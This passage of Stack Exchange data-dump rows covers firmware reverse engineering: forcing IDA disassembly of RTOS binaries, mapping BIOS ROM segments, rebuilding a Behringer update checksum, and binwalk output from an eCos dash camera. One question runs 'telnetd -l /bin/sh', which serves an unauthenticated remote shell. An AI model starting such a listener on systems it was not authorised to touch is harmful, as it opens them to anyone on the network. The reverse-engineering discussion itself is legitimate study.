  <row Id="23106" PostTypeId="2" ParentId="23104" CreationDate="2020-01-25T21:07:11.207" Score="3" Body="&lt;p&gt;Most RTOS code is usually a single monolithic binary and is not split into separate binaries like a high-level OS. Usually there is some startup code, some library routines and user-provided code in forms of &lt;em&gt;tasks&lt;/em&gt; which are nothing more than simple functions performing the necessary work in a simple infinite loop. The “main function” called by the RTOS startup would register the tasks, set up the shared resources like timers, queues, semaphores etc. and invoke the RTOS entry point which starts dispatching the tasks, switching between them periodically so that each gets a chance to run. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While there is no file system, there may be other useful information in the binary. Most RTOSes allow you to give names to tasks so you may be able to find some strings and from the references discover task creation/registration functions. Sometimes a table of structures is used(e.g. a pointer with name and pointer to the task function). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To force disassembly of a big chunk of code in IDA you can use selection, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to the potential start of code (e.g. beginning of the code segment)&lt;/li&gt;&#xA;&lt;li&gt;Drop selection anchor (Alt-L)&lt;/li&gt;&#xA;&lt;li&gt;Go to the end of code (e.g. by clicking in the navigation bar, scroll bar or via keyboard) do that the whole chunk is selected. &lt;/li&gt;&#xA;&lt;li&gt;Press C and pick Analyze or Force (you may need to experiment and see which one works better)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that in some cases data may also be interpreted as valid instructions, so you might get false positives (especially with the “force” option), which may require you to fix things up afterwards. But this should help you get started and discover some valid code. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-01-25T21:07:11.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23107" PostTypeId="2" ParentId="23086" CreationDate="2020-01-25T21:15:55.417" Score="5" Body="&lt;p&gt;You need to load the last 64KB of the ROM at linear address 0xF0000 (0xF000:0000) and create there a 16-bit segment with the base 0xF000. Then all your “low addresses” will line up (they point into the current segment with CS=0xF000). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you get references to E000, load the second 64KB chunk and so on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you get to 32-bit code, it will likely be using 32-bit addressing with the end of the ROM at FFFFFFFF, so load and create 32-bit segments accordingly. &lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-01-27T09:00:23.420" LastActivityDate="2020-01-27T09:00:23.420" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23108" PostTypeId="2" ParentId="23099" CreationDate="2020-01-26T09:57:21.230" Score="3" Body="&lt;p&gt;Well thanks to @IgorSkochinsky who suggested in another question of mine to try a disassembler, I found a &lt;a href=&quot;https://hub.docker.com/r/pf0camino/cross-bfin-elf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Docker image that contained a Blackfin toolchain&lt;/a&gt; which allowed me to use &lt;code&gt;objdump&lt;/code&gt; to disassemble the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bfin-elf-objdump -D -b binary -mbfin bootloader.bin &amp;gt; bootloader.disasm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After hastily consulting a manual on Blackfin assembler and poking around a bit, I was able to get a vague idea of what was going on, and I was able to find the CRC function, which turned out not to be a CRC function at all, but a DIY checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the disassembly as a reference, I was able to replicate the algorithm in my Javascript code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function behringer_crc8(data) {&#xA;    let crc = 0;&#xA;    for (let b of data) {&#xA;        for (let j = 0; j &amp;lt; 8; j++) {&#xA;            if (!((b ^ crc) &amp;amp; 1)) crc ^= 0x19;&#xA;            b &amp;gt;&amp;gt;= 1;&#xA;            // Rotate (shift right, move lost LSB to new MSB)&#xA;            crc = ((crc &amp;amp; 1) &amp;lt;&amp;lt; 7) | (crc &amp;gt;&amp;gt; 1);&#xA;        }&#xA;    }&#xA;    return crc ^ 0xbf;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Comparing this code against the distributed firmware update shows that it is able to reproduce the CRC bytes correctly!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also turned out that despite the manual saying the two-byte block number prefix was included in the checksum, it turned out it wasn't, and only the 256-byte content is checksummed.&lt;/p&gt;&#xA;" OwnerUserId="20888" LastActivityDate="2020-01-26T09:57:21.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23111" PostTypeId="1" CreationDate="2020-01-26T14:44:07.287" Score="1" ViewCount="670" Body="&lt;p&gt;When I run &lt;code&gt;telnetd -l /bin/sh&lt;/code&gt; on an embedded Linux device and use Putty to telnet to it, the provided shell is &lt;code&gt;/bin/psh&lt;/code&gt; (protected shell).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this device, &lt;code&gt;/bin/sh&lt;/code&gt; is a symbolic link to &lt;code&gt;/bin/busybox&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I can see on this system that &lt;code&gt;/bin/sh&lt;/code&gt; redirects to &lt;code&gt;/bin/psh&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change it if &lt;code&gt;/bin&lt;/code&gt; is read only?&lt;/p&gt;&#xA;" OwnerUserId="30232" LastEditorUserId="24222" LastEditDate="2020-01-26T20:35:02.883" LastActivityDate="2021-03-03T09:02:15.220" Title="Protected shell in embedded linux" Tags="|linux|embedded|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23112" PostTypeId="1" CreationDate="2020-01-26T15:52:24.513" Score="1" ViewCount="1222" Body="&lt;p&gt;I'm trying to apply some of the practices I learn in class and online and reverse engineer the firmware of a Chinese dash camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've downloaded the firmware from &lt;a href=&quot;https://www.yitechnology.com/firmware/index/class/dash&quot; rel=&quot;nofollow noreferrer&quot;&gt;their website&lt;/a&gt;  (Smart dash camera: CA21L) and as a first step I tried to &lt;code&gt;binwalk&lt;/code&gt; the firmware. The only &quot;interesting&quot; thing I found is a line which indicates that &lt;code&gt;binwalk&lt;/code&gt; thinks there's a YAFFS filesystem embedded inside the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;983141        0xF0065         eCos RTOS string reference: &quot;eCos&quot;&#xA;1503088       0x16EF70        YAFFS filesystem&#xA;1637704       0x18FD48        JPEG image data, JFIF standard 1.02&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on the offsets my guess is that there's a filesystem there. But I couldn't figure out how to mount/extract that because the output I got here is not really the same as for the most &quot;firmware reversing tutorials&quot; I've seen where you get &quot;squashFS&quot; and a compressed bootloader which binwalk clearly recognized. &#xA;Here it seems that besides the small hint of the YAFFS, and a lot of strings indicating an eCos OS is running, I don't really know what to make of the rest of the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm turning here because maybe an experienced individual can shed some light on what I'm seeing from the output, how exactly I could extract the file system (if at all) and what does it mean that the system is running eCos (Yes I have googled it but the structure of it is still unclear).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first few bytes of the firmware binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sh@desktop:~/Desktop/camera/smart$ file firmware.bin &#xA;firmware.bin: data&#xA;sh@desktop:~/Desktop/camera/smart$ hd -v ./firmware.bin | head&#xA;00000000  00 04 00 80 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000050  4e 54 39 36 36 36 30 20  31 30 30 30 30 30 30 30  |NT96660 10000000|&#xA;00000060  32 30 31 30 30 37 30 31  20 7f 76 00 55 aa 67 f9  |20100701 .v.U.g.|&#xA;00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000080  4c 44 3a 47 53 36 36 30  20 20 20 20 20 20 20 20  |LD:GS660        |&#xA;00000090  01 00 00 00 ff ff ff ff  ff ff ff ff 00 00 00 00  |................|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The full &lt;code&gt;binwalk&lt;/code&gt; output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sh@desktop:~/Desktop/camera/smart$ binwalk ./firmware.bin &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;148610        0x24482         Copyright string: &quot;Copyright (c) 2014 Novatek Microelectronic Corp.&quot;&#xA;878029        0xD65CD         eCos RTOS string reference: &quot;eCos_Init must call first.&quot;&#xA;878119        0xD6627         eCos RTOS string reference: &quot;eCos.&quot;&#xA;879094        0xD69F6         eCos RTOS string reference: &quot;eCos_ChkValid&quot;&#xA;879110        0xD6A06         eCos RTOS string reference: &quot;eCos_Close&quot;&#xA;879126        0xD6A16         eCos RTOS string reference: &quot;eCos_Open&quot;&#xA;879327        0xD6ADF         eCos RTOS string reference: &quot;ECOS\FW96660T.bin&quot;&#xA;879431        0xD6B47         eCos RTOS string reference: &quot;ecos bin&quot;&#xA;879548        0xD6BBC         eCos RTOS string reference: &quot;eCos Utility&quot;&#xA;879580        0xD6BDC         eCos RTOS string reference: &quot;ECOS\FW96660T.bin to start&quot;&#xA;879623        0xD6C07         eCos RTOS string reference: &quot;eCos&quot;&#xA;879676        0xD6C3C         eCos RTOS string reference: &quot;eCos&quot;&#xA;880531        0xD6F93         eCos RTOS string reference: &quot;eCosCmd_Open&quot;&#xA;884656        0xD7FB0         CRC32 polynomial table, little endian&#xA;947150        0xE73CE         eCos RTOS string reference: &quot;eCos uncompress. Req: 0x%08X Bytes.&quot;&#xA;962042        0xEADFA         eCos RTOS string reference: &quot;eCosReadEx&quot;&#xA;962066        0xEAE12         eCos RTOS string reference: &quot;eCosRead&quot;&#xA;962863        0xEB12F         eCos RTOS string reference: &quot;eCos partition.&quot;&#xA;963011        0xEB1C3         eCos RTOS string reference: &quot;ECOS.BIN&quot;&#xA;963168        0xEB260         eCos RTOS string reference: &quot;ecos&quot;&#xA;963181        0xEB26D         eCos RTOS string reference: &quot;eCos from EMB&quot;&#xA;964861        0xEB8FD         eCos RTOS string reference: &quot;eCos&quot;&#xA;969277        0xECA3D         eCos RTOS string reference: &quot;eCos FW bin...&quot;&#xA;969370        0xECA9A         eCos RTOS string reference: &quot;eCos FW read failed %d&quot;&#xA;969978        0xECCFA         eCos RTOS string reference: &quot;eCos form A:\&quot;&#xA;970039        0xECD37         eCos RTOS string reference: &quot;eCos.&quot;&#xA;970511        0xECF0F         eCos RTOS string reference: &quot;eCos.&quot;&#xA;970576        0xECF50         eCos RTOS string reference: &quot;eCos.&quot;&#xA;970610        0xECF72         eCos RTOS string reference: &quot;eCos form Embedded Storage.&quot;&#xA;970693        0xECFC5         eCos RTOS string reference: &quot;eCos.&quot;&#xA;970730        0xECFEA         eCos RTOS string reference: &quot;eCos boot from temp all-in-one bin.&quot;&#xA;983121        0xF0051         eCos RTOS string reference: &quot;eCosRun&quot;&#xA;983141        0xF0065         eCos RTOS string reference: &quot;eCos&quot;&#xA;1503088       0x16EF70        YAFFS filesystem&#xA;1637704       0x18FD48        JPEG image data, JFIF standard 1.02&#xA;1637734       0x18FD66        TIFF image data, little-endian offset of first image directory: 8&#xA;1638058       0x18FEAA        JPEG image data, EXIF standard&#xA;1638070       0x18FEB6        TIFF image data, little-endian offset of first image directory: 8&#xA;1648972       0x19294C        JPEG image data, JFIF standard 1.02&#xA;1649002       0x19296A        TIFF image data, little-endian offset of first image directory: 8&#xA;1704134       0x1A00C6        eCos RTOS string reference: &quot;eCos#1.00.005_Dec  2 2015, 14:52:25_,REV&quot;&#xA;3964736       0x3C7F40        XML document, version: &quot;1.0&quot;&#xA;3992008       0x3CE9C8        XML document, version: &quot;1.0&quot;&#xA;3992444       0x3CEB7C        XML document, version: &quot;1.0&quot;&#xA;3998494       0x3D031E        Unix path: /jenkins/jobs/C10/workspace/NT9666x_SDK/Project/DemoKit/SrcCode/UIApp/Network/WifiJsonFlow.c&#xA;4084725       0x3E53F5        MySQL MISAM index file Version 2&#xA;4085637       0x3E5785        MySQL MISAM index file Version 2&#xA;7122340       0x6CADA4        MySQL MISAM compressed data file Version 4&#xA;7162838       0x6D4BD6        Unix path: /15/20/24/25/30/48/50/60/120/240fps can be served..&#xA;7341779       0x7006D3        Unix path: /DCE_LUT/DCE_FOV/DCE_ENH/DCE_CA are updated&#xA;7555647       0x734A3F        Ubiquiti firmware header, third party, ~CRC32: 0x0, version: &quot;ING_LOGO&quot;&#xA;7642794       0x749EAA        VxWorks symbol table, big endian, first entry: [type: function, code address: 0x1000, symbol address: 0x500]&#xA;7766216       0x7680C8        eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x8F7D902C&#xA;7767176       0x768488        eCos RTOS string reference: &quot;ECOSDEMO_001_001&quot;&#xA;7768111       0x76882F        eCos RTOS string reference: &quot;ECOS#1.00.003_Nov 16 2015, 09:12:53_,REV&quot;&#xA;9434103       0x8FF3F7        eCos RTOS string reference: &quot;eCos world!!!!!!!!!!&quot;&#xA;9434178       0x8FF442        eCos RTOS string reference: &quot;eCos scheduling...&quot;&#xA;9439624       0x900988        eCos RTOS string reference: &quot;ecos-8189es-ap&quot;&#xA;9440531       0x900D13        eCos RTOS string reference: &quot;ecos&quot;&#xA;9441864       0x901248        eCos RTOS string reference: &quot;ECOS&quot;&#xA;9444932       0x901E44        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/memalloc/mempolt2.inl&#xA;9444952       0x901E58        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/memalloc/mempolt2.inl&quot;&#xA;9444965       0x901E65        eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/memalloc/mempolt2.inl&quot;&#xA;9445112       0x901EF8        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/malloc.cxx&quot;&#xA;9445125       0x901F05        eCos RTOS string reference: &quot;ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/malloc.cxx&quot;&#xA;9446048       0x9022A0        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/io/fileio/v2_0_60/src/misc.cxx&#xA;9446068       0x9022B4        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/io/fileio/v2_0_60/src/misc.cxx&quot;&#xA;9446081       0x9022C1        eCos RTOS string reference: &quot;ecos-2.0.6/packages/io/fileio/v2_0_60/src/misc.cxx&quot;&#xA;9446244       0x902364        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/io/disk/v2_0_60/src/disk.c&quot;&#xA;9446257       0x902371        eCos RTOS string reference: &quot;ecos-2.0.6/packages/io/disk/v2_0_60/src/disk.c&quot;&#xA;9447564       0x90288C        eCos RTOS string reference: &quot;eCos does not support daemon option&quot;&#xA;9450526       0x90341E        eCos RTOS string reference: &quot;ecos threads&quot;&#xA;9457811       0x905093        eCos RTOS string reference: &quot;ECOS_Open failed&quot;&#xA;9458055       0x905187        eCos RTOS string reference: &quot;ECOS_CmdLine&quot;&#xA;9458075       0x90519B        eCos RTOS string reference: &quot;ECOS_Open&quot;&#xA;9471668       0x9086B4        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/infra/v2_0_60/src/tcdiag.cxx&#xA;9471688       0x9086C8        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/infra/v2_0_60/src/tcdiag.cxx&quot;&#xA;9471701       0x9086D5        eCos RTOS string reference: &quot;ecos-2.0.6/packages/infra/v2_0_60/src/tcdiag.cxx&quot;&#xA;9472136       0x908888        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/kernel/smp.hxx&#xA;9472156       0x90889C        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/kernel/smp.hxx&quot;&#xA;9472169       0x9088A9        eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/kernel/smp.hxx&quot;&#xA;9472348       0x90895C        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/kernel/thread.inl&quot;&#xA;9472361       0x908969        eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/kernel/thread.inl&quot;&#xA;9472520       0x908A08        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/common/kapi.cxx&quot;&#xA;9472533       0x908A15        eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/common/kapi.cxx&quot;&#xA;9473212       0x908CBC        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/common/thread.cxx&quot;&#xA;9473225       0x908CC9        eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/common/thread.cxx&quot;&#xA;9474168       0x909078        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/common/except.cxx&#xA;9474188       0x90908C        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/common/except.cxx&quot;&#xA;9474201       0x909099        eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/common/except.cxx&quot;&#xA;9474568       0x909208        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/intr/intr.cxx&quot;&#xA;9474581       0x909215        eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/intr/intr.cxx&quot;&#xA;9475288       0x9094D8        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/sched/mlqueue.cxx&quot;&#xA;9475301       0x9094E5        eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/sched/mlqueue.cxx&quot;&#xA;9476040       0x9097C8        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/sched/sched.cxx&quot;&#xA;9476053       0x9097D5        eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/sched/sched.cxx&quot;&#xA;9476844       0x909AEC        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx&quot;&#xA;9476857       0x909AF9        eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx&quot;&#xA;9477032       0x909BA8        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/sync/flag.cxx&quot;&#xA;9477045       0x909BB5        eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/sync/flag.cxx&quot;&#xA;9477420       0x909D2C        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/kernel/mboxt2.inl&quot;&#xA;9477433       0x909D39        eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/kernel/mboxt2.inl&quot;&#xA;9478044       0x909F9C        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/sync/mutex.cxx&quot;&#xA;9478057       0x909FA9        eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/sync/mutex.cxx&quot;&#xA;9478852       0x90A2C4        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/dlmalloc.cxx&#xA;9478872       0x90A2D8        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/dlmalloc.cxx&quot;&#xA;9478885       0x90A2E5        eCos RTOS string reference: &quot;ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/dlmalloc.cxx&quot;&#xA;9480844       0x90AA8C        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/libc/stdio/stdiofiles.inl&quot;&#xA;9480857       0x90AA99        eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/libc/stdio/stdiofiles.inl&quot;&#xA;9481020       0x90AB3C        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/libc/stdio/stream.inl&quot;&#xA;9481033       0x90AB49        eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/libc/stdio/stream.inl&quot;&#xA;9481608       0x90AD88        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/libc/stdio/streambuf.inl&quot;&#xA;9481621       0x90AD95        eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/libc/stdio/streambuf.inl&quot;&#xA;9481796       0x90AE44        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/language/c/libc/stdio/v2_0_60/src/common/stream.cxx&quot;&#xA;9481809       0x90AE51        eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/stdio/v2_0_60/src/common/stream.cxx&quot;&#xA;9485076       0x90BB14        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/language/c/libc/stdlib/v2_0_60/src/getenv.cxx&#xA;9485096       0x90BB28        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/language/c/libc/stdlib/v2_0_60/src/getenv.cxx&quot;&#xA;9485109       0x90BB35        eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/stdlib/v2_0_60/src/getenv.cxx&quot;&#xA;9485396       0x90BC54        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/language/c/libc/string/v2_0_60/src/strtok.cxx&quot;&#xA;9485409       0x90BC61        eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/string/v2_0_60/src/strtok.cxx&quot;&#xA;9485592       0x90BD18        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/language/c/libc/time/v2_0_60/src/strftime.cxx&quot;&#xA;9485605       0x90BD25        eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/time/v2_0_60/src/strftime.cxx&quot;&#xA;9486484       0x90C094        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/language/c/libc/time/v2_0_60/src/timeutil.cxx&quot;&#xA;9486497       0x90C0A1        eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/time/v2_0_60/src/timeutil.cxx&quot;&#xA;9486612       0x90C114        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/libc/stdlib/div.inl&quot;&#xA;9486625       0x90C121        eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/libc/stdlib/div.inl&quot;&#xA;9490172       0x90CEFC        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/hal/mips/arch/v2_0_60/src/hal_misc.c&quot;&#xA;9490185       0x90CF09        eCos RTOS string reference: &quot;ecos-2.0.6/packages/hal/mips/arch/v2_0_60/src/hal_misc.c&quot;&#xA;9490300       0x90CF7C        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/compat/posix/v2_0_60/src/pthread.cxx&#xA;9490320       0x90CF90        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/compat/posix/v2_0_60/src/pthread.cxx&quot;&#xA;9490333       0x90CF9D        eCos RTOS string reference: &quot;ecos-2.0.6/packages/compat/posix/v2_0_60/src/pthread.cxx&quot;&#xA;9490868       0x90D1B4        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/compat/posix/v2_0_60/src/time.cxx&quot;&#xA;9490881       0x90D1C1        eCos RTOS string reference: &quot;ecos-2.0.6/packages/compat/posix/v2_0_60/src/time.cxx&quot;&#xA;9491104       0x90D2A0        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/compat/posix/v2_0_60/src/signal.cxx&quot;&#xA;9491117       0x90D2AD        eCos RTOS string reference: &quot;ecos-2.0.6/packages/compat/posix/v2_0_60/src/signal.cxx&quot;&#xA;9491432       0x90D3E8        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/io/fileio/v2_0_60/src/file.cxx&#xA;9491452       0x90D3FC        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/io/fileio/v2_0_60/src/file.cxx&quot;&#xA;9491465       0x90D409        eCos RTOS string reference: &quot;ecos-2.0.6/packages/io/fileio/v2_0_60/src/file.cxx&quot;&#xA;9491852       0x90D58C        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/io/fileio/v2_0_60/src/dir.cxx&quot;&#xA;9491865       0x90D599        eCos RTOS string reference: &quot;ecos-2.0.6/packages/io/fileio/v2_0_60/src/dir.cxx&quot;&#xA;9492048       0x90D650        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/net/common/v2_0_60/src/dhcp_prot.c&#xA;9492068       0x90D664        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/net/common/v2_0_60/src/dhcp_prot.c&quot;&#xA;9492081       0x90D671        eCos RTOS string reference: &quot;ecos-2.0.6/packages/net/common/v2_0_60/src/dhcp_prot.c&quot;&#xA;9495328       0x90E320        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/support.c&#xA;9495348       0x90E334        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/support.c&quot;&#xA;9495361       0x90E341        eCos RTOS string reference: &quot;ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/support.c&quot;&#xA;9495407       0x90E36F        eCos RTOS string reference: &quot;ecos/support.c&quot;&#xA;9496188       0x90E67C        eCos RTOS string reference: &quot;eCos_node&quot;&#xA;9496344       0x90E718        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/synch.c&#xA;9496364       0x90E72C        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/synch.c&quot;&#xA;9496377       0x90E739        eCos RTOS string reference: &quot;ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/synch.c&quot;&#xA;9496423       0x90E767        eCos RTOS string reference: &quot;ecos/synch.c&quot;&#xA;9496712       0x90E888        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/timeout.c&quot;&#xA;9496725       0x90E895        eCos RTOS string reference: &quot;ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/timeout.c&quot;&#xA;9496771       0x90E8C3        eCos RTOS string reference: &quot;ecos/timeout.c&quot;&#xA;9502064       0x90FD70        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/compat/uitron/v2_0_60/src/uit_ifnc.cxx&#xA;9502084       0x90FD84        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/compat/uitron/v2_0_60/src/uit_ifnc.cxx&quot;&#xA;9502097       0x90FD91        eCos RTOS string reference: &quot;ecos-2.0.6/packages/compat/uitron/v2_0_60/src/uit_ifnc.cxx&quot;&#xA;9502996       0x910114        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/net/ns/dns/v2_0_60/src/dns.c&#xA;9503016       0x910128        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/net/ns/dns/v2_0_60/src/dns.c&quot;&#xA;9503029       0x910135        eCos RTOS string reference: &quot;ecos-2.0.6/packages/net/ns/dns/v2_0_60/src/dns.c&quot;&#xA;9503332       0x910264        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/common/clock.cxx&#xA;9503352       0x910278        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/common/clock.cxx&quot;&#xA;9503365       0x910285        eCos RTOS string reference: &quot;ecos-2.0.6/packages/kernel/v2_0_60/src/common/clock.cxx&quot;&#xA;9503952       0x9104D0        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/memalloc/mfiximpl.inl&quot;&#xA;9503965       0x9104DD        eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/memalloc/mfiximpl.inl&quot;&#xA;9504976       0x9108D0        eCos RTOS string 